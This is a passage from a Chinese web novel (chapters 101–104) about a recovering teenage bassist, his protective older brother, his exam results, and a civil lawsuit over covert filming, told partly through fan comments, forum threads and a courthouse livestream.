“没这回事。”纪律说,“别多想,妈上次请来给你看的心理医生怎么说的?” 纪羽语气平静无波:“那都是你去国外的时候了,我又没病,她没说什么,你倒是可以找她治一治。” 纪律:“我也没病。”斯凯拉医生只是评定他存在控制性人格特质和一些焦虑障碍,都处于可控范围,不属于疾病范畴,但纪羽显然不这么认为。 纪羽伸出手拍被子:“我又没和你比!” 和纪律争论绝对不是纪羽的本意,但温情和谐的对话显然对他们来说是天方夜谭。 纪律走到床侧,掀开被子为纪羽手臂换上新的敷贴,纪泽兰和徐梁贴得都不够平整,纪羽就更不用说,唯一让他自己动手那次险些他将管子拔出来。“你想听到我什么回答?如果我告诉你他确实死了呢。” 纪羽的眼睛黯淡了一瞬:“不怎么样啊,他都已经死了,还能怎么办,等我病好了就去给他扫墓,要是复发了那我就——啊,你不要给我消毒了,好痛!” “知道痛就别乱说话。” 纪羽反手就掐在他脸上:“你不会说话就不要和我讲话了!再命令我你就出去吧,去国外还是地球外都随便你,我再也不叫你回来了!” 男人脸上留下两道重叠的泛白红印子,可见纪羽下了重手。 纪律像被拔了牙的老虎,威严一扫而空,冷声道:“说了干什么都尽量用右手!” 纪羽烦死了:“我又没用力,而且我手又不是废了!” 纪律不和他吵,纪羽也别过脑袋,用一种别扭的姿态表达抗拒,左手一处理好就背过身团进被子里。 纪律收起托盘,看了一会儿纪羽的后脑勺:“别把脸盖住,不卫生。” 纪羽一句话也不说。 纪律去丢垃圾,给手重新消毒后回到纪羽房间,纪羽换了个方向还是一动不动地躺着。 耳温枪滴地一声响,体温偏高,纪律皱眉:“换只耳朵。” 纪羽像没听见,纪律拢着他的肩,把他翻过身,纪羽眼角一滴泪就滑过手背。 枕头上湿了一小片,纪羽压着的半张脸捂得湿红,眼睛闭着,泪珠还在向下掉,眼尾的睫毛腻在下眼睑。 纪律手一紧,落在纪羽脸上吸泪的纸巾也失了轻重,把软肉压下一块。 纪羽这时候不说他动作糙了。 “哭什么,他没死。”纪律把房门关上,带着消毒水味的手擦去纪羽的眼泪。 “我知道啊。”纪羽说着,眼角又滑下泪来,他当然听得懂纪律话中的暗示。 纪律真是不明白纪羽闭着眼睛眼泪怎么还掉得这么大颗:“那为什么还哭,你就那么喜欢他?” “我不喜欢他,谁说我喜欢他了。”纪羽睁开眼,眼神清明,“你死了的时候我也这么哭。” “……”纪律再次强调:“我还没死,贺思钧也没死,别哭了。” “那现在这样和死了有什么区别,对我来说就是一样的啊。”纪羽从来不觉得纪律会懂他,因为大多数人可能都不懂为什么他会难过,纪律只是其中的翘楚。 看不到、联系不了、从他的生活里彻底消失,和不想看、不去联系、不去在意是两回事。 如果离别连句问候也没有,匆匆忙忙又突然而然,绝对是世上最残酷的事。 纪羽脑中转过无数猜想,其中很多让他觉得气愤、难堪,但和最无法接受的那个相比,都只占据一点点。 它们的重合点,是无计可施的迷惘—— 作者有话说:纪律:哭成这样,不死也该死了。 100-110 第101章 纪律被禁止进入他的房间, 虽然他心情低落这事儿确实和纪律没多大关系,但纪羽也没想给他辩解。 夏天悄没声儿的到了,纪羽的活动范围从房间扩展到了院子。 秋千椅重新加固, 纪羽坐上去,体重轻飘飘。 说起来他出生那天, 特大级台风登陆、非洲大陆酋长禅位、欧洲政坛动荡、美股熔断、物种灭绝等等重大事件均未发生,那是个平静且安和的一天。 纪羽出生后五分钟名字就定下了,纪泽兰和徐梁分别掂了掂他, 说轻得像根毛, 于是继纪律之后的精品二字姓名就此定下。 最近纪泽兰在请大师相看,是不是名字取得不好, 太轻了压不住命格, 纪羽严肃地批评了这种封建迷信的行为并将收取高额改名费用的大师举报了。 想骗他们家钱,门都没有! 高考结束了, 节目也不知道什么时候复播, 纪羽无所事事在家里躺了几天,发觉一件事。 “我们家的人都没事儿干吗?” 纪羽坐在秋千椅上晃啊晃, 其他人就站在边上看着他晃。 纪泽兰推徐梁后腰:“老徐, 把地翻一下。” 当天徐梁和纪律一起把前院的地儿全刨了一遍。 第二天在地里栽上了黄瓜秧。 第五天黄瓜秧全晒死了。 太挫败了。 徐梁据说为此失眠了两个晚上。 ……纪羽把贝斯抱了出来,无视纪律紧绷的神色, 在院子里练琴。 承风各视频账号更新。 【你这电吉他咋没声儿呢?】 【说了多少遍,请把音量调到最大感受电子闷屁!】 【众所周知, 贝斯是一个乐队的灵魂, 但灵魂是看不见摸不着的。】 【视频推哪个流量池去了, 不要对着我家满分男玩贝斯笑话[愤怒]】 【发布三小时已十万赞,我有预感……】 【宝宝身体好了吗,我都穿短袖了, 怎么还在穿卫衣TTTT】 【想模仿拍一段差点把指甲盖掀飞呵呵,指法恐怖如斯……】 【虽然手腕细细的,但靠指力就能掐死我好涩o3o】 【妈妈说会弹乐器的男孩很加分,适合娶回家做手工活[抱抱]】 【[微笑]对高中生开黄腔的你们小心点!】 【可以露脸吗主播,虽然很不好意思但是我是看到偷拍视频爱上的,还以为是什么电影路透,真的不打算出道吗[可怜]】 【+1有没有粉丝告诉我怎么才能支持啊,节目还会录下去吗,已经停播一个月了……】 【当初我说我喜欢乐队男,一个个都是怎么说我恋丑癖的,都知错了吗!】 【喜欢乐队男是大错特错的,但喜欢阿雀是正确的因为他只是一只没有男人臭味的小鸟宝宝[可怜]】 【推荐去红板板音乐听歌,现场视频主页就有,幕后训练视频都有在隔壁发~】 【流量体质真是天生的,一个多月没消息随手一个solo视频就推出圈了,隔壁G.T天天更新最高三百赞,越努力越心酸。】 【弹幕为什么一直在飞女儿和老婆?这是女的吗?】 【病好了不先想着安慰粉丝重新活动,又发个人视频炒人气,超绝自爱概念,是不敢回应在节目里到底发生了什么事么?】 【把楼上鸡翅姐小号拉黑谢谢。】 纪羽划拉着评论,有些看不太明白,但又能感知到对方没有恶意,只能怪自己上网上得不够多。 其中有一条评论问:【乱码哥不更新了,是离职了吗?】 “乱码哥”是承风相关的工作人员一直是个心照不宣、摆在明面上的秘密,他更新频率不算高,但视频剪得巧妙,影像静静流淌,不知不觉就让人看了进去,播放量在一众音乐节随手录中遥遥领先。部分视频片段属于未公开内容,乐迷也不会刻意指出,只是把这个乱码账号当做承风秘密花园默默地守着。 臭名昭著的老子不爱吃鸡翅也没在评论区出现过,一个说法是账号开启了保护机制,发现恶评就删除拉黑,另一个广泛受到认可的说法则是,加工剪辑的视频里能看出创作者的感情,出现频率最高,最靠近镜头的那一个占据了绝对的偏爱。 而观众,自然也会被创作者的感情打动,从而产生一致的偏爱。 【深柜鸡翅大妈可能自己偷偷藏起来看,但绝对不可能替这个账号引流,她心虚。】 情感超出了理智,即便知道事态不该继续发展下去,大脑也会被激烈的情绪掌控,编出自己信服的说辞继续下去。 恶意来得轻易,要消除却是难上加难。 【灌水 | 有没有人知道雷暴云到底咋了?】 【——谁吃瓜吃明白了,那对双胞胎到底在吵什么,这一个月我已经从期待到无语了。】 1L:【起因是梁子尧突然露脸表明自己和莫满其实是双胞胎但是他一直隐瞒身份,现在不想瞒了是因为莫满盗用他的身份做了一些违反原则的事,所以他要站出来检举……(对吗,有缺漏可以补充)】 2L:【你忘了提最重要的一点了,已经被涛烂了,梁子尧说侵犯他人隐私,这个隐私可没有说是他自己,联系节目停播前承风贝斯手被偷拍这件事很明显了吧,那个角度除非用了长焦镜头就是在很近的地方录的,那个角度从直播站位分析就是梁子尧,他不想等着被扒出来当替罪羊所以先把莫满揭穿了,但问题就在莫满这么做的行为动机是什么?】 3L:【大胆一点,其实是莫满因为不明原因借用梁子尧身份接近阿雀,但被人揭穿了,两人之间有了龃龉导致两队之间关系更紧张了,莫满求而不得(?)只能用这种的方式偷窥?】 4L:【番茄怎么没请我组去当编剧,这个剧情我可以,比什么皇族太子奸佞反派好嗑。】 5L:【这明显不是能开玩笑的事啊,特恶心恐怖的一件事,这是犯罪[滴汗],嗑CP也有个度吧,人都这关系了,阿雀从头到尾就没回应过这俩,我真不知道有些人是故意恶心人还是真下限低到这种程度[无语]】 6L:【就没人想为什么节目会停播吗,跳窗户本身就在淘汰席上,就算有黑料节目组割席还不简单,偷拍视频也不是节目内部片段流传出去,这两件事其实对节目影响根本不大啊!】 7L:【确实,节目停播公告一出我都呆了,所有人档期都协调好怎么可能为了底下一两支乐队出风波就停…………】 8L:【最开始以为是新炒作手段,后来一停停两周没消息真不对了。】 9L:【梁晟杰是不是离过婚,以前听他采访提过孩子抚养权归属的问题,他早就成名转幕后了,很怀疑《乐队象限》是怎么请动他的。】 10L:【楼上不用把话说那么明白,[偷笑]这个大家心里都懂,人家根本没打算藏,雷暴云德不配位很明显^^】 11L:【能让平台临时停项目,要么是↑发话,要么就是钱的问题。】 12L:【是舆论失控了吧,其实雷暴云各种剧本安排得很明显就是要登基,附加分赛制就是为了他们设置的,就是没想到承风不受控,舞台直播是搬起石头砸自己的脚,后来不得用各种方式追分?就算承风贝斯手没出事,积分还是会被反超,出了事反倒是正中节目组下怀了。】 13L:【这段视频流出来的时间很巧妙啊,卡在淘汰的点上,如果梁子尧没有跳出来和莫满对轰,在节目录制期间身上有录像也不会有大问题,但究竟是他没想到还是有什么别的原因就不知道了。】 14L:【跳窗户主唱被拘留的点也很巧,前脚梁子尧才发视频,后脚雷暴云粉丝就扒出跳窗户下班时间对不上,全队被拘留,到现在也没有传消息出来。】 15L:【跳窗户粉丝是真的偏激,连其他人嫉妒他们没爬上床都说得出口,雷暴云撞上枪口了,两边底裤都快被扒光了,但关于我们两位皇子的消息还是一miumiu都传不出来哈!】 16L:【说到底两个天龙人内讧看看就算了,真可怜也就是参加节目被耽误的其他六支乐队可怜。我猜什么时候这两人达成一致了,节目就复播了,猜对和承风一样抽两万现金。】 17L:【姐大气!顺便一提,节目发停播通知其实比皇族内讧要早一点,所以刚开始确实是想炒作顺便拖一拖,后来不好收场了才拖到这个局面,也属于是自作自受了。】 …… 47L:【报!大新闻!】 48L:【怎么又顶起来了,太子出高考成绩大赦天下了?】 49L:【太子被告了,看热搜,已经开庭了。】 法院门前有人开启直播,恪尽职守地蹲守着。 “觉得我是私生就出去,没求你看,我在公共区域待着怎么了,热搜都上了我不能来?” 加入直播间人数越来越多,弹幕刷得飞快。 “法庭里面?录不了,我又不傻,非得给你们看?” “老子不爱吃鸡翅”蹲得腿麻,站起来活动脚跟:“承风的粉丝自己滚出去,别让我在弹幕里看到某个人的名字,我来这里是我想来,和他有什么关系?” 啧,真麻烦,一时鬼迷心窍,热得要死了。 “什么时候来,你问我我怎么知——” 车门被随手甩上,一张鼻梁高挺,眼眶深陷的脸出现在镜头内。 莫满向镜头招了招手:“在等我?” 第102章 【这心理素质, 没谁了。】 【民事诉讼吧,最多赔点钱道歉什么事都没有,有什么好担心的, 能来很给面子了~】 【爱捧天龙人臭脚的这辈子也发达不了,吃你家太子脚皮去吧!】 鸡翅僵着脸没有回声, 向后退了几步,莫满倒很有闲情逸致地停下来,含着笑向她搭话。 令人不寒而栗。 “不爱吃鸡翅?没想到你也是本地人, 今天你是为我来的, 还是为了阿雀?” 没想到自己的网名会被念出,鸡翅瞳孔放大, 仰着头怔怔地看他, 莫满的脸隐没在盛阳炽烈的光照中,看不分明。 鸡翅哑然失声, 一味地摇头。 【主播怎么不说话了, 刚刚不是很会说吗,说话呀兄弟, 欺软怕硬算什么英雄好汉?】 【是鬼吗他, 笑起来阴恻恻的……】 【是帅的好吗,这个直播间承风深柜粉那么多?睁眼说瞎话?】 【双胞胎气质居然能相差那么大。】 鸡翅双腿蹲得发麻酸软, 不自觉地发起抖来,莫满浑不在意仍在和她搭话道:“不过他应该是不会来了, 你觉得呢?” “我不知道。”鸡翅低声应道, 因为声带紧绷, 喉咙里像堵了口痰,语调怪异惹得弹幕一阵哄笑,她顿时起了恼意。 莫满自顾不暇, 又凭什么来压她一头看她的笑话? “请你不要再和我搭话了,你先搞清楚你自己的——” “阿雀。”手机镜头自动调整了曝光,莫满温柔到近乎诡异的神情暴露在直播间中,“你难道不想知道你的小跟班去哪儿了吗,只要你撤诉,我就把我知道的都告诉你,怎么样?” 【疯了,隔空喊话吗?】 【什么小跟班,我怎么听不懂???】 【说他不怕的呢,出来,如果在诉讼过程中发现被告行为涉嫌犯罪的,能提起刑事诉讼程序的好吗?】 【要走刑事程序早就走了,这不明摆着给阿雀一个台阶让他赶紧下别把事情闹大?】 【我知道了,是三角恋!】 【三角你X】 【算上梁子尧是四角。】 【非要娱乐至死是吗,起诉要等几个月你们知道吗,忍了那么久还要被人引导着嗑CP,要我真是能气死,有没有把人当人看?】 直播录屏被纪羽看到,已经是数小时后。 庭审已经结束,由于缺少关键性证据,法院宣布隔日再审。 手机上显示一通陌生来电。 纪羽接通了。 “……” “没有想和我说的话吗,纪羽。” 是莫满。 纪羽对他知道自己的手机号居然一点也不吃惊了。 “你想说什么?” “你知道这种手段对我没用吧,就算庭审败诉,对我也没有影响,何必呢,我只是想和你玩一玩,别生气了好吗。” “玩?” 似乎是听出了纪羽的怒意,莫满的声音更加轻缓,和十一年前随时服软的“小马”一样,显得很是纯粹无辜: “我知道我可能做得过分了一点,但我向你道歉,你原谅我吧,我们从小就认识了,你知道的,我绝对不是什么十恶不赦的人不是吗?可惜你病了,不然我们能早点坐下来谈一谈。” “你是在我面前耀武扬威吗?”纪羽毫不留情,“你和你弟在肚子里的时候把脑子打坏了吧,做检查怎么没把你筛出来打掉。” “小羽,你怎么能这么说我呢。” “别这么叫我。” “好吧,看来你还是更喜欢贺思钧一点,那我和梁子尧呢,你更喜欢谁?” 两坨屎摆在面前,纪羽搞不懂有什么可选的必要:“你再打电话骚扰我我就报警了。” “纪羽,”莫满语气似叹似唤,“我是喜欢……” 另一头寂静无声,纪羽挂断了电话。 把号码拉入黑名单,纪羽倒扣手机,靠在椅背上。 都到这时候了莫满居然还能想起来争宠?他以为自己没起诉梁子尧?笑话,梁子尧一句解释也没有直接认了,哪里像他一样说说说说说说说。 而贺思钧他都不知道在哪,莫满怎么会知道,就算知道了又能怎么样,既然贺思钧没对他通风报信说明他就是回不来了。 他和贺思钧又不是偶像剧里爱得要死要活的男女主,其中一个人不见了另一个就要哭天抢地地四处找。 月满则亏,水满则溢,果子熟了就要落,事事总不得完美,纪羽早就该知道了。 人来人往也是常态。 门外响起敲门声,这是纪律最近才养成的习惯,纪羽应了才能进,但他不应,纪律也能找着理由进来。 迎面便飞来一只拖鞋。 被别的砸也就砸了,脸上沾个鞋印还是算了。 准头和距离都有进步,说明纪羽身体好转不少。 把拖鞋捡回纪羽脚边,纪律转身去洗手,身后又挨了一脚。 “你不是说让他坐牢吗?” 纪律:“谁教你站在椅子上踢人的?” 纪羽盘腿坐下:“我不站起来怎么踢得到你背,我扶着墙又不会摔……你别转移话题,你不是跟我保证的吗?” “程序还没走完,我们不是说好了?”纪律又忍不住道,“盘腿对你血液循环不好。” 纪羽不,他拉着桌角把自己连人带凳拉过去,边打开电脑边道:“我等不及了啊,反正就是你没能力,还大律师呢。” “……”纪律正想是否有必要再向纪羽解释公开审理需要满足的条件,见他身上沾了几根深色短毛,捻起查看,“你又摸猫了?” 纪羽敲键盘的手一顿,语气自然道:“怎么了,小咪身上很干净一看就是别人家里养的呀,它又不脏。” 他竖起耳朵,做好了随时战斗的准备,只要纪律说出你以后一个人不准再去院子里待着,他就用键盘扇纪律的脸。 纪律却突然站起来往外走,纪羽喊住他:“你干嘛去?” “把围栏加高。” “……你要在家里盖鸟巢吗,我下次不摸了看一看总可以了吧。” 小咪多亲人啊,尾巴翘得高高的,贴在他小腿边呼噜噜地伸懒腰。 纪羽只是坐着,它就跳上来了,坐到他怀里爪子一伸一缩地踩呀踩,纪羽没养过宠物,对上它的眼睛还有点慌张。 从前小咪只是在他脚边蹭蹭,今天格外主动,纪羽没忍住摸了又摸。 “怎么办,我好像不能养你,我身上也没有吃的,怎么办小咪,我可以叫你小咪吗,还是叫你咪咪?” 软乎又脆弱的生命跳到他怀里,他就什么都忘了,哪里还记得医生叮嘱他的不接触其他人和物。 纪羽眼睛亮晶晶地盯着纪律:“它很乖的,你下次看到它就知道了,我们家里有吃的可以放到院子里吗,它会不会来吃?我不喂它,我就看着可以吗?” 接触流浪动物的风险堵在喉咙口,纪律鬼使神差道:“你要喜欢就养一只自己的,干净。” 说完他就后悔了,以纪羽热衷的样子,怕是会跳起来答应,绝不许他出尔反尔的。 纪羽自己还在休养着,哪来的功夫去照顾宠物? 纪律眉头越皱越紧,没想自己一时脑热也会说出这欠考虑的话来。 “不要。”纪羽居然一口否决了。 “你确定?”纪律暗中松了一口气,面色已是恢复如常。 “都说了不要了。”纪羽嘴巴翘得能挂油壶,眉毛紧皱,“你好没责任心的,一条生命怎么能说养就养,万一没养好怎么办……” 他说着说着又道:“我也不和小咪玩了,你去找一下小咪的主人让他别让小咪到处跑了,万一遇到什么坏人了呢……真不负责任…我还要去上大学的……” 说到最后就成了自言自语的嘀咕。 纪律感觉自己被瞪了好几眼,移开视线应下了这吃力不讨好的差事。 纪羽还有事要做,也没话好和纪律再说:“好了你走吧。” 纪律正准备离开想起纪羽下午的体温还没测过,回身时正好看到纪羽打开志愿填报表。 “淮北、辽安、西宁……”纪律声调渐沉,“纪羽,你要去哪儿?” 纪羽瞬间切走了页面,却不想还是被纪律发觉,板着脸自己严肃了半天也不见纪律的下文,偷偷瞟一眼却被纪律沉冷的脸色骇住,气势率先去了大半,但还是硬着头皮道: “我在宁海都待腻了,想去别的地方看一看怎么了,我还没坐过飞机呢……” “不行。”纪律立刻否决道,“你以为外面的地方有多好,值得你离开家?就报省内的大学,宁海市内或者平台、江州市中心的学校。” “我不要!”纪羽这次喊得情真意切,“那和一辈子都待在家里有什么区别,我想去更远的地方,我总不能被养到老!” 纪律警铃大作,他强行咽下口中训斥的话语,平稳心绪观察起纪羽的状态。 纪羽很紧张,他眼神躲闪,显然充满逃避,嘴角又咬破了口子,渗出一点血丝来,只关注他张牙舞爪姿态和突然拔高的语调,就会忽视他的惊惶焦躁。 其实他一直以来都很乖,哪怕是情绪激动时也很好安抚,只是纪律从前不明白。 纪律试着和他交流:“上大学而已,在家附近不好吗,你去那么远的地方,水土不服怎么办?那些地方交通也不方便,你参加演出在路上就要耽误两天,和承风一块儿排练也不容易,还有吃饭的问题,那边的菜系你也不一定不习惯,你的医疗记录转移也是个问题……” 纪羽的肩膀渐渐放松。 第103章 “我就是看看……”纪羽嗫嚅道。 纪羽许多事情没亲身体验过, 哪里知道好坏? 他以为戈壁就是大漠孤烟直,长河落日圆的壮阔,却不想风沙打得人脸生痛, 石子混着口水咽进肚子,日光照得人睁不开眼, 气候干燥得能让皮肤皲裂。 宁海地处平原,交通便利又有港口,经济发展迅速, 基础设施齐全, 气候适宜,旁人卯足了劲儿往这儿来, 纪羽却待腻了往出跑。 这一乡水土才勉强养得了他一身娇贵, 哪里能经得起外边风吹雨打的折腾? 看看纪羽查的资料,什么边疆都敢向上填, 他心比天高, 纪律却不想叫他再吃苦头才知道后悔。 纪律努力心平气和问道:“你和爸妈商量过没有?” 纪羽缩在椅背里,脸白生生的, 眼睛上抬瞟了一眼纪律又向下放:“没有, 成绩还没出来呢,这表现在填了不算数。” 见他这样, 纪律心头火气去了大半,蹲下身对他道:“你要是想出去看看, 等下次骨穿结束你身体稳定下来, 就让爸妈带你去西北住几天玩一玩, 行不行?” 这算是讨好他? 纪羽看着纪律,心思转过几个弯。 又是提出给他养猫,又是说让他出去旅游, 还好声好气地和他说话。 纪羽却是没买账:“哦……”肯定又是到时候再说。 等他彻底好全了,哪儿还轮得着纪律管他。 六月下旬,高考成绩出炉。 宁海一中再创新绩,重点录取率突破历史新高,一中学子个个与有荣焉,朋友圈转发战报刷屏了整整两天。 纪羽的成绩还没个数,徐梁和纪泽兰也不敢催他查,想着好与坏也都不重要,纪羽哪怕不去念书不去工作他们还养不了? 直到这天纪羽一觉睡到中午,歪在餐桌上等饭,冷不丁冒出一句是不是出成绩了,掏出手机便登了网站上去查。 这些天他过得迷糊,也没想就把时间错过了,倒是免了和人挤网站。 徐梁:“先等等,要不爸爸先给你看?” 纪泽兰把人拍一旁:“妈妈陪着你看,没事,考多少分都是好样的。” 生了一场大病又一个人孤零零考了几天,发挥得好坏都不重要,就是别影响了心情。 纪羽本来也不紧张,听了两人这一顿安抚倒是有点忐忑,半晌儿才下滑页面。 …… “673!” 徐梁连喊三个好字,把儿子抱起来颠了两下挨了骂才止住心中的激动。 纪泽兰捧着纪羽的脸贴了几下,心里酸软成一片:“宝宝辛苦了,真厉害。” 纪羽还看着分数,想他好像考得比纪律当初还高四分。 虽然纪律当初考试那会儿还没有赋分制,但考生少竞争小呀,这么算,还是他更厉害一点。 韩姨压了几天的气儿也松快了,她只当是纪羽发挥不好,全家人都没敢在他面前提这事儿,这会儿高兴地直奔厨房要加餐。 徐梁正往外走给朋友拨电话说喜事:“老赵啊,哎我,我徐梁,前段时间不是高考吗,我儿子成绩出来了,前段时间忙也没关心关心你……哎对,考得不错,过两天请你们吃饭啊,还好还好,也就六百七十多分……重点随便挑嘛,送什么礼,不用……” 纪律这会儿也回来了,仔细消了毒才进客厅,纪泽兰特意和他说了这大喜事儿,让他别破坏气氛。 纪律面上露出一点狐疑,看着暗戳戳翘尾巴的纪羽,说道:“你们才知道?” 纪泽兰一愣:“你早就知道分数了?” 纪律打开手机发了张截图给她:“当天有考试院短信通知。”纪羽的家长联系电话填了他,两天前下午他就收到了信儿,想着给纪羽发个消息,一发出去发现自己还在黑名单里,后来忙着也忘了打电话说一声。 纪泽兰横他一眼,出门制止徐梁去了。 韩姨怕纪羽等急,先端了碗汤出来:“那学校想好念什么没,最好离家近点的,韩姨还能去学校看看你,送口饭吃,跑远了放假都回不来,想得紧。” 纪羽喝口骨头汤,把肉撇出去:“我还没想好呢。” 韩姨看纪律在一旁坐下,意有所指道:“国外那么远可别去了,一个人在外都没个照应,养得性子冷冰冰的,没姑娘喜欢!” 纪羽险些把汤呛到气管里,咳嗽几声才道:“我要是出国就不高考了呀。” 也就纪律凡事都想两条路,就算决心出国也留在国内把高考流程走完。 纪羽从没想过他也有到海外生活这个选择。 纪律停下给他拍背顺气的手,只淡淡道:“国外没什么好的。” 纪羽也不想在出国这事儿上多做讨论,想到要去那么远的地儿他心里还是不安稳,发慌。 他低头在手机上划拉着什么,以形补形,韩姨给他将棒骨里的骨髓都敲出来盛到碗里,纪羽看了后背发寒,悄悄把碗推向纪律。 韩姨似乎是瞧见了,又盛了碗汤端给纪律后在旁边站着不走了。 这会儿纪律和韩姨的身份倒是调转了个完全,见他吃不下纪律便伸手将剩汤倒进自己碗里,三两口便喝下肚,倒了杯清水给纪羽漱口。 韩姨有点着急:“就是多吃点身体好得快,从前能吃的现在也吃不了了,这什么时候能好。” “他想吃什么就给他吃,不吃就算了,别把胃口搞坏了。” 纪律说了这番话,怎么说也值得纪羽一个刮目相看的注视,纪羽却是脑袋也没歪一下,直勾勾盯着手机页面。 “唉,”韩姨叹口气,“大学也不像家,也没个熟人帮衬……” 熟悉的名字唤起纪羽,只听韩姨说道:“小贺呢,他成绩不是和你差不多吗,他上哪个学校?要是在一块地方,还能互相照顾点,前两年年我还看他愣头愣脑的,今年懂事多了,不过好些日子没见了……” 话落,韩姨注意到两人神色不对,也不知说错了什么,手搭着围裙神色无措。 “不和他在一块儿,”纪羽不忍她难堪,努力提起莫名下撇的嘴角,“他成绩没我好,他考不上大学了。” 他露出一个比哭还难受的笑来。 成绩查询页面,登录考生姓名贺思钧。 查询结果为: 【未查询到您的考试成绩。】 六月末,宁海市中级人民法院就莫满民事侵权一案重新审理,由于事件在网络范围内公众关注度较高,产生一定社会影响,经由双方当事人同意法院进行公开庭审直播。 【也是看上官方物料了(。)】 【阿雀不来吗,我好像没看到他?】 【他身体还没好吧,看他发的视频三十多度的天他还在穿长袖。】 【我看到一个眼熟的,原告那边那个穿黑西装的是不是偷拍里那个男人??】 【叠图对比了一下,应该是同一个人。】 【他到底谁啊?】 【呃……莫满还朝镜头打招呼,他是真不慌。】 【[无语]还不能打招呼了?本来就是被诬告的,某雀连脸都不敢露,粉丝还好意思叫,今天就是走个过场,上次为什么没判自己心里有点数。】 【要不要我再提醒一下各位什么叫缺少关键证据?事实不成立,懂吗,背地里阴招玩不够?】 【尊重法院一切判决哈,莫满堂堂正正做人,雷暴云无妄之灾[微笑]】 【…………雷暴云孝子只打顺风局是吗,法院还没判就开始堂堂正正上了?】 【人亲兄弟都不站你们这一边[笑哭]你们不觉得自己很小丑,承风最新一条微博视频32万播放量梁子尧一个人就看了30万遍吧,你看人阿雀理他不[狗头][狗头]】 【梁子尧已经被除名雷暴云了有什么好提的,这么喜欢白眼狼那送你们啊[大笑]】 【[笑哭]亲兄弟哪里说两家话,作秀给我们看的而已[笑哭]】 【别吵了行吗,别把我直播间搞封了,要吵去鸡翅大妈直播间吵。】 下一秒,几个挑事的账号全部被禁言,弹幕瞬间变得平和。 鸡翅这一次依旧来到了场外,直播间吵作一团,她却始终没有做出反应。 几分钟前,一个男人站到了她面前,她以为是莫满又来挑衅,抬头却是一个陌生的男人。 但也不算陌生,她在反复播放过的偷拍视频里看到过这个男人,以至于她一眼就认了出来。 “……你有事?”鸡翅不自觉吞咽口水,却呛咳起来,满脸狼狈。 “刘玉婷。” 男人叫出了她的名字。 刘玉婷瞪大了眼睛:“你为什么……” “从去年十一月至今你一共发布了2374条微博,其中1698条是对阿雀的侮辱、诽谤,总计转赞评达到80万次,你从这些博文里获得了至少一万元的收益,你用这些钱还了一部分网贷,但还远远不够,所以你又盯上了直播,效果还不错,所以你今天又来了,是吗?” 男人居高临下地看着她,目光冰冷而深沉,在莫满面前她还有勇气生出怒意,在这个男人面前她只有胆颤。 但很快刘玉婷定下心神:“我做的一切都是合法的,我有我的言论自由。” 这是法治社会,管这人是什么身份,他都不能威胁自己。 她是发了一些东西,但那又怎么样? 她没有真的伤害到任何人。 “言论自由?你觉得自己没错,那3月17日,你又为什么要写道歉信?你得到过警告,但你还是没有收敛。” 纪羽给过她机会,他给很多人机会,对待外人甚至比对他亲哥哥还要宽厚,一个陌生人可以对他说成千上万句指责,只需要她轻飘飘的一纸道歉几句卖惨的求饶,就可以放过。 真是不公平啊。 第104章 她没有错。 男人走后, 刘玉婷后知后觉地为自己辩驳起来。 她不过是将自己看到的、体会到的不满说了出来,那又怎么了,她有说错什么, 阿雀敢真的告她吗,把那些证据都摆到公堂上对质, 他敢吗? 他心虚! 她比任何人都还要了解阿雀,她知道他是多么善于矫饰,用无害面貌换取利益的人, 他心比天高, 巴不得所有人都被蒙蔽为他伏地,用手掌垫地任他踩过。 无论和谁相处, 他都必须成为最中心的那一个, 他要事事比得过旁人,他那么贪婪地夺走了关注, 还想要欢呼和恭维, 怎么可能? 他得了那么多好处,她指出来就是她的错了? 他凭什么找人来威胁她, 就不怕她揭穿他装出来的假面? 刘玉婷紧了紧手指, 终于在直播间开口说话: “今天其实都没必要来,为什么?因为有人撒谎成性啊, 以为到法庭上还可以躲在背后卖弄小聪明,可惜啊, 这次撞到铁板上了……我等着看?好啊, 我等着, 希望他别被封杀啊哈哈哈哈哈……” 辽光压低帽子顺着人流进入旁听席,弯着腰压低声音发去语音:“我到了啊。” 法庭旁听名额预约一经发布就被抢了个精光,辽光手点得冒烟才抢到这一个名额, 说什么也得来助助威。 纪羽回了消息:【[小鸡点头]】 辽光:“媒体也来了,这整得像发布会似的。” 纪羽:【关注的人越多越好^v^】 “卧槽。”辽光惊骂一声,引得其他人投来目光。 辽光顾不上抱歉,两根大拇指乱飞打字道:【梁晟杰也来了,坐在一个地中海旁边,直播里看得到吗?】 纪羽:【看到了,地中海是莫满继父。】 辽光抽抽嘴角:【他家庭还挺和谐的哈。】 相关不相关人员一一落座,纪律作为委托人出席,比身旁的律师还要律师,法官请原告律师阐述时不少人都把目光移向了他。 纪羽将直播投在了卧室的墙面,再经历多少次骨穿他都习惯不了长而尖利的异物刺入骨缝,只有侧躺着才勉强好受些。 刺痛仅仅在睡梦中减轻。 但有更值得的事情让他保持清醒。 莫满穿了一身简单的休闲装,碎发没有固定,垂落在额前盖住了桀骜的眉骨,一派温和有礼的假象。 他正对控诉一一进行辩解。 “我和纪羽本人从小就认识,时隔多年再见,确实有些意外。”他低头笑了一下,染上引人遐想的温柔色彩,“可能是他不记得我了,所以产生了点误会,让惊喜变成了惊吓。” 他目露诚恳:“如果原告需要,我愿意私下进行道歉并补偿。” 身旁的律师对他的表述进行补充。 这一番退让配合他有欺骗性的五官,立即带歪了一部分风向。 【也没多大事嘛,对面是不是玩不起?】 【有这么一个帅哥在我面前这么温温柔柔地讲话,我什么都原谅了!】 【就是私底下的纠纷还要浪费公共资源,原告真够小家子气的,被告大大方方的多好!】 【看得我无语,快点结束吧行吗。】 【法庭就是这样的,法官让你说你就说,让你停就停,和菜市场一样,芝麻大点的小事也要拿上来吵吵吵。】 “原告还有什么话想说。” 纪律施然起身,动作不紧不慢却暗含压迫:“我申请当庭公开证据。” 法官略一思索:“同意。” 几名助手连接屏幕时纪律开口: “被告在接近我弟弟这几个月中,从未有一次公开表露身份,如今却表现得——这么情难自禁……去年七月,在我弟弟对你一无所知的情况下,同时也是在无人向你传递信息的前提下,你精准无误地踩准了承风即将登台的时机,一比一仿造了纪羽私人定制的乐器,并以他的身份登台演出,是吗?” 席中辽光将帽子压得极低,神色隐晦不清。 莫满笑一笑:“这一点,我在上一次庭审中就已经解释过了,可惜您当时不在,可能是太忙碌了所以不清楚具体情况,那我就当着大家的面再说一次吧。 “两年前,我继父的乐器行招聘了一名新员工,而这名员工恰好是纪羽曾经的启蒙老师。为了方便查账并管理维护,店内电脑受到监管,这一点在入职时我的继父已经明确告知过。” 不过曲坚显然没当回事,为了省网费,他用这台电脑照常上网、看视频,某次手机维修,他还将存储资料到了一部分进电脑保存。 莫满对他的隐私兴趣不深,只是意外纪羽再一次进入他的视野。 